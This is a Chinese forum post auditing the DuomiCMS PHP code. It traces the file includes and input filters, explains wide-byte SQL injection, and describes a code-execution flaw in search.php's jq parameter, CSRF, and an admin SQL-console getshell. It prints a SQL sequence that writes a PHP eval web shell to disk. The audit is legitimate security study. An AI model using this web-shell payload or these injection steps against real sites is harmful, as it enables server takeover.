本帖最后由 Living 于 2016-5-29 15:30 编辑
0x00 写在前面
希望可以和大师傅们一起学习。功底不好,错误之处请直接指出。
0x01 整体流程
偶然看到这个:http://www.wooyun.org/bugs/wooyun-2016-0169828恰好在学习审计,网上找了个版本看了看。源码下载连接:http://110.85.5.26:89/code/201109/DuomiCmsUTF-8_A5.zip
安装duomicms,一路向西。
http://imglf1.ph.126.net/nug24c8d4NQdjk-rETo7dg==/6631683492210050410.png
安装完成,打开web根目录,有三个文件index.php、search.php、tag.php。
http://imglf1.ph.126.net/TZvre8ZVoD2Jj2uQwckDRA==/6631737368279810671.png
先看index.php文件
第10-12行判断数据库链接文件data/common.inc.php是否存在,不存在就重定向到安装文件;第17行引入duomiphp/common.php文件包含common.php文件,定义一些系统常量,检查和注册外部提交变量,系统变量检测,系统设定,如目录、时区、语言包、系统信息,加载全局/过滤函数、数据库类、防御脚本等;第18行引入/duomiphp/core.class.php核心类文件。
[PHP] 纯文本查看 复制代码 if(!file_exists("data/common.inc.php"))
{
header("Location:install/index.php");
exit();
}
require_once ("duomiphp/common.php");
require_once duomi_INC."/core.class.php";
//站点状态
if($cfg_website==0)
{
ShowMsg('站点已关闭!','-1');
exit();
}
if($cfg_runmode=='0')
{
header("Location:index".$cfg_filesuffix2);
}
checkIP();
echoIndex();
function echoIndex()
duomiphp/common.php文件
第12行包含了一个安全防御脚本文件/duomiphp/webscan.php,如果网站没有默认根目录安装防御脚本将失去作用。如我本地根目录是“D:\WWW\”但我的安装目录是“D:\WWW\duomicms”,将会找不到防御脚本而不会被包含。
[PHP] 纯文本查看 复制代码 if(is_file($_SERVER['DOCUMENT_ROOT'].'/duomiphp/webscan.php')){
require_once($_SERVER['DOCUMENT_ROOT'].'/duomiphp/webscan.php');
}
第26行引入全局功能函数文件/duomiphp/common.func.php
[PHP] 纯文本查看 复制代码 require_once(duomi_INC.'/common.func.php');
第83行引入系统配置参数文件/duomiphp/config.cache.inc.php
[PHP] 纯文本查看 复制代码 //数据库配置文件
require_once(duomi_DATA.'/common.inc.php');
第143行引入数据库类文件/duomiphp/sql.class.php
[PHP] 纯文本查看 复制代码 //引入数据库类
require_once(duomi_INC.'/sql.class.php');
search.php文件
提供搜索功能,第1-2行引入/duomiphp/common.php文件和核心类文件/duomicms//core.class.php。以GET的方式获取传入的值,过一系列的过滤(主要是_RunMagicQuotes()、RemoveXSS()、CheckSql()这三个函数),进入数据库查询,最后输出。
[PHP] 纯文本查看 复制代码 <?php
require_once("duomiphp/common.php");
require_once(duomi_INC."/core.class.php");
tag.php文件
同样第1-2行引入/duomiphp/common.php文件和核心类文件/duomicms/core.class.php,提供标签检索。
0x02 需要关注的
简单浏览了文件调用流程,接着看各种函数。
_RunMagicQuotes()函数,/duomiphp/common.php文件第36-50行。先获取GPC的开启状态,如果开启直接返回数据,没有开启再判断是否为数组,是数组用foreach遍历为单个值再用addslashes函数过滤;第52-55行,对外部传入的数据进行遍历后调用_RunMagicQuotes ()函数过滤。
[PHP] 纯文本查看 复制代码 function _RunMagicQuotes(&$svar)
{
if(!get_magic_quotes_gpc())
{
if( is_array($svar) )
{
foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
}
else
{
$svar = addslashes($svar);
}
}
return $svar;
}
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
}
RemoveXSS()函数,/duomiphp /common.func.php文件第1644-1696行。定义了一个包含字母大小写、数字、各种符号的字符串$aearch,然后使用preg_replace()函数对传入的数据$val进行各种编码(包括16进制、ascii码)去除;接着定义两个黑名单数组用array_merge()函数合并成$ra数组,进入一个while循环;在while循环中将$val的值赋值给一个新的变量,定义了两层数组外层数组黑名单个数,内层数组每个黑名单字符串长度,然后逐个匹配如果匹配到黑名单中的字符则用预定义的$replacement进行替换。
[PHP] 纯文本查看 复制代码 function RemoveXSS($val) {
// remove all non-printable characters. CR(0a) and LF(0b) and TAB(9) are allowed
// this prevents some character re-spacing such as <java\0script>
// note that you have to handle splits with \n, \r, and \t later since they *are* allowed in some inputs
$val = preg_replace('/([\x00-\x08,\x0b-\x0c,\x0e-\x19])/', '', $val);
// straight replacements, the user should never need these since they're normal characters
// this prevents like <IMG SRC=@avascript:alert('XSS')>
$search = 'abcdefghijklmnopqrstuvwxyz';
$search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
$search .= '1234567890!@#$%^&*()';
$search .= '~`";:?+/={}[]-_|\'\\';
for ($i = 0; $i < strlen($search); $i++) {
// ;? matches the ;, which is optional
// 0{0,7} matches any padded zeros, which are optional and go up to 8 chars
// @ @ search for the hex values
$val = preg_replace('/(&#[xX]0{0,8}'.dechex(ord($search[$i])).';?)/i', $search[$i], $val); // with a ;
// @ @ 0{0,7} matches '0' zero to seven times
$val = preg_replace('/(�{0,8}'.ord($search[$i]).';?)/', $search[$i], $val); // with a ;
}
// now the only remaining whitespace attacks are \t, \n, and \r
$ra1 = Array('javascript', 'vbscript', 'expression', 'applet', 'meta', 'xml', 'blink', 'link', 'style', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title', 'base');
$ra2 = Array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload');
$ra = array_merge($ra1, $ra2);
$found = true; // keep replacing as long as the previous round replaced something
while ($found == true) {
$val_before = $val;
for ($i = 0; $i < sizeof($ra); $i++) {
$pattern = '/';
for ($j = 0; $j < strlen($ra[$i]); $j++) {
if ($j > 0) {
$pattern .= '(';
$pattern .= '(&#[xX]0{0,8}([9ab]);)';
$pattern .= '|';
$pattern .= '|(�{0,8}([9|10|13]);)';
$pattern .= ')*';
}
$pattern .= $ra[$i][$j];
}
$pattern .= '/i';
$replacement = substr($ra[$i], 0, 2).'<x>'.substr($ra[$i], 2); // add in <> to nerf the tag
$val = preg_replace($pattern, $replacement, $val); // filter out the hex tags
if ($val_before == $val) {
// no replacements were made, so exit the loop
$found = false;
}
}
}
return $val;
}
CheckSql()函数,/duomiphp /sql.class.php文件第536-641行,由80sec提供。过滤了一些特殊语法、特殊字符和关键字。
0x03 宽字节注入科普
UTF-8:
由于ASCII表示的字符只有128个,因此网络世界的规范是使用UNICODE编码,但是用ASCII表示的字符使用UNICODE并不高效。因 此出现了中间格式字符集,被称为通用转换格式,及UTF(Universal Transformation Format)。
宽字节:
GB2312、GBK、GB18030、BIG5、Shift_JIS等这些都是常说的宽字节,实际上只有两字节。宽字节带来的安全问题主要是吃ASCII字符(一字节)的现象。
我的理解:
gbk--转换-->>utf8,例子:传入"%df'"过滤后,"%df\'"-->>"%df%5c'"形成"運'"。
utf8--转换-->>gbk,例子:传入"錦'"也就是"%E9%8C%6A'"-->>吃掉一字节"%e5%5c'"(gbk)-->>” %e5\\'”。
但是我下载的这个版本中,没有找到宽字节注入,在“/data/common.inc.php”中设置了“$cfg_db_language = 'utf8';”,全局搜索了下也没有另外的有缺陷的编码转换。一脸懵逼..
0x04 前台命令执行
漏洞是位于根目录的search.php文件中,案例中是area参数存在宽字节注入+命令执行。在search.php文件看到可控数据有$tid、$area、$year、$letter、$yuyan、$state、$ver、$jq。
[PHP] 纯文本查看 复制代码 $content = str_replace("{searchpage:order-hit-link}",$cfg_basehost."/search.php?page=".$page."&searchtype=5&order=hit&tid=".$tid."&area=".$area."&year=".$year."&letter=".$letter."&yuyan=".$yuyan."&state=".$state."&ver=".$ver."&jq=".$jq,$content);
$content = str_replace("{searchpage:order-hitasc-link}",$cfg_basehost."/search.php?page=".$page."&searchtype=5&order=hitasc&tid=".$tid."&area=".$area."&year=".$year."&letter=".$letter."&yuyan=".$yuyan."&state=".$state."&ver=".$ver."&jq=".$jq,$content);
$content = str_replace("{searchpage:order-id-link}",$cfg_basehost."/search.php?page=".$page."&searchtype=5&order=id&tid=".$tid."&area=".$area."&year=".$year."&letter=".$letter."&yuyan=".$yuyan."&state=".$state."&ver=".$ver."&jq=".$jq,$content);
$content = str_replace("{searchpage:order-idasc-link}",$cfg_basehost."/search.php?page=".$page."&searchtype=5&order=idasc&tid=".$tid."&area=".$area."&year=".$year."&letter=".$letter."&yuyan=".$yuyan."&state=".$state."&ver=".$ver."&jq=".$jq,$content);
$content = str_replace("{searchpage:order-time-link}",$cfg_basehost."/search.php?page=".$page."&searchtype=5&order=time&tid=".$tid."&area=".$area."&year=".$year."&letter=".$letter."&yuyan=".$yuyan."&state=".$state."&ver=".$ver."&jq=".$jq,$content);
$content = str_replace("{searchpage:order-timeasc-link}",$cfg_basehost."/search.php?page=".$page."&searchtype=5&order=timeasc&tid=".$tid."&area=".$area."&year=".$year."&letter=".$letter."&yuyan=".$yuyan."&state=".$state."&ver=".$ver."&jq=".$jq,$content);
$content = str_replace("{searchpage:order-commend-link}",$cfg_basehost."/search.php?page=".$page."&searchtype=5&order=commend&tid=".$tid."&area=".$area."&year=".$year."&letter=".$letter."&yuyan=".$yuyan."&state=".$state."&ver=".$ver."&jq=".$jq,$content);
$content = str_replace("{searchpage:order-commendasc-link}",$cfg_basehost."/search.php?page=".$page."&searchtype=5&order=commendasc&tid=".$tid."&area=".$area."&year=".$year."&letter=".$letter."&yuyan=".$yuyan."&state=".$state."&ver=".$ver."&jq=".$jq,$content);
$content = str_replace("{searchpage:order-score-link}",$cfg_basehost."/search.php?page=".$page."&searchtype=5&order=score&tid=".$tid."&area=".$area."&year=".$year."&letter=".$letter."&yuyan=".$yuyan."&state=".$state."&ver=".$ver."&jq=".$jq,$content);
$content = str_replace("{searchpage:order-scoreasc-link}",$cfg_basehost."/search.php?page=".$page."&searchtype=5&order=scoreasc&tid=".$tid."&area=".$area."&year=".$year."&letter=".$letter."&yuyan=".$yuyan."&state=".$state."&ver=".$ver."&jq=".$jq,$content);
在函数echosearchPage()中,第73行当“$searchtype==5”时才会把这些传入的数据进行拼接带入sql查询。
[PHP] 纯文本查看 复制代码 switch (intval($searchtype)) {
case -1:
$whereStr=" where v_recycled=0 and (v_name like '%$searchword%' or v_actor like '%$searchword%' or v_director like '%$searchword%' or v_publisharea like '%$searchword%' or v_publishyear like '%$searchword%' or v_letter='$searchword' or v_tags='$searchword' or v_nickname like '%$searchword%')";
break;
case 0:
$whereStr=" where v_recycled=0 and v_name like '%$searchword%'";
break;
case 1:
$whereStr=" where v_recycled=0 and v_actor like '%$searchword%'";
break;
case 2:
$whereStr=" where v_recycled=0 and v_publisharea like '%$searchword%'";
break;
case 3:
$whereStr=" where v_recycled=0 and v_publishyear like '%$searchword%'";
break;
case 4:
$whereStr=" where v_recycled=0 and v_letter='".strtoupper($searchword)."'";
break;
case 5:
$whereStr=" where v_recycled=0";
if(!empty($tid)) $whereStr.=" and (tid in (".getTypeId($tid).") or FIND_IN_SET('".$tid."',v_extratype)<>0)";
if($year=="more")
{
$publishyeartxt=duomi_DATA."/admin/publishyear.txt";
$publishyear = array();
if(filesize($publishyeartxt)>0)
{
$publishyear = file($publishyeartxt);
}
$yearArray=$publishyear;
$yeartxt= implode(',',$yearArray);
$whereStr.=" and v_publishyear not in ($yeartxt)";
}
if(!empty($year) AND $year!="more")
{$whereStr.=" and v_publishyear='$year'";}
if($letter=="0-9")
{$whereStr.=" and v_letter in ('0','1','2','3','4','5','6','7','8','9')";}
if(!empty($letter) AND $letter!="0-9")
{$whereStr.=" and v_letter='$letter'";}
if(!empty($area)) $whereStr.=" and v_publisharea='$area'";
if(!empty($yuyan)) $whereStr.=" and v_lang='$yuyan'";
if(!empty($jq)) $whereStr.=" and v_jq like'%$jq%'";
if($state=='l') $whereStr.=" and v_state !=0";
if($state=='w') $whereStr.=" and v_state=0";
if(!empty($ver)) $whereStr.=" and v_ver='$ver'";
break;
}
继续看,search.php文件第15行$tid经过intval()函数过滤;第99-100行$state只有等于1或者w时才会带入sql查询。
[PHP] 纯文本查看 复制代码 $tid = (isset($tid) && is_numeric($tid)) ? intval($tid) : 0;
[PHP] 纯文本查看 复制代码 if($state=='l') $whereStr.=" and v_state !=0";
if($state=='w') $whereStr.=" and v_state=0";
再经过测试只有area、year、jq这三个参数在页面有回显。
http://imglf0.ph.126.net/4_mzv-peL6C2LlwJsNtCZA==/4832362400269320174.png
选择jq参数进行测试(回显效果好点),造成命令执行的原因:对传入的数据没有进行合适的过滤,并直接以php的方式直接输出到页面,前后闭合注释掉后面多余的造成命令执行,如图(如有错误请打脸并指出-。-,代码没有看完而且有个核心类文件加密了没能解开..)。
http://imglf0.ph.126.net/eqGPHFm8IFqt4ZTJK_JA6w==/1996220534934530424.png
0x05 CSRF&后台getshell
这个cms并没有做CSRF防范对管理员提交和输出的数据没有任何过滤,所以直接在留言处提交构造好的恶意url连接,诱使管理员点击即可(诚然这个几率太低..)。
Getshell
管理员登录-工具-SQL管理秘书,默认情况下“/data/backupdata”目录具有写权限,物理路径获取看运气吧。
单条语句执行:
[SQL] 纯文本查看 复制代码 create table test (yjh text not null);
insert into test(yjh) values('<?php eval($_POST[x]) ?>');
select yjh from test into outfile "D:\\www\\test.php";
drop table if exists test;
在插入数据时,提示查询不到数据,即是成功了。
http://imglf1.ph.126.net/1V2B7DPf58LpidZQwOaM4A==/6631813234582128184.png
不知道怎么回事163和qq邮箱都收不到验证邮件,然后发帖的时候图片上传不了,只能选择外链,图片有些模糊见谅。
|